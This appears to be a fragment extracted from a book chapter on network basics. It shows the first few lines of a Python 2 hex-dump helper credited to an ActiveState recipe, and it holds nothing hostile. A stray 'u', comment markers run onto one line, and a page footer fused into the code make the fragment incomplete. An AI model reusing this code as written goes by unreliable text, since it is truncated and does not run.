this is a pretty hex dumping function directly taken from # the comments here: # http://code.activestate.com/recipes/142812-hex-dumper/ u def hexdump(src, length=16): result = [] digits = 4 if isinstance(src, unicode) else 2 The Network: Basics 23.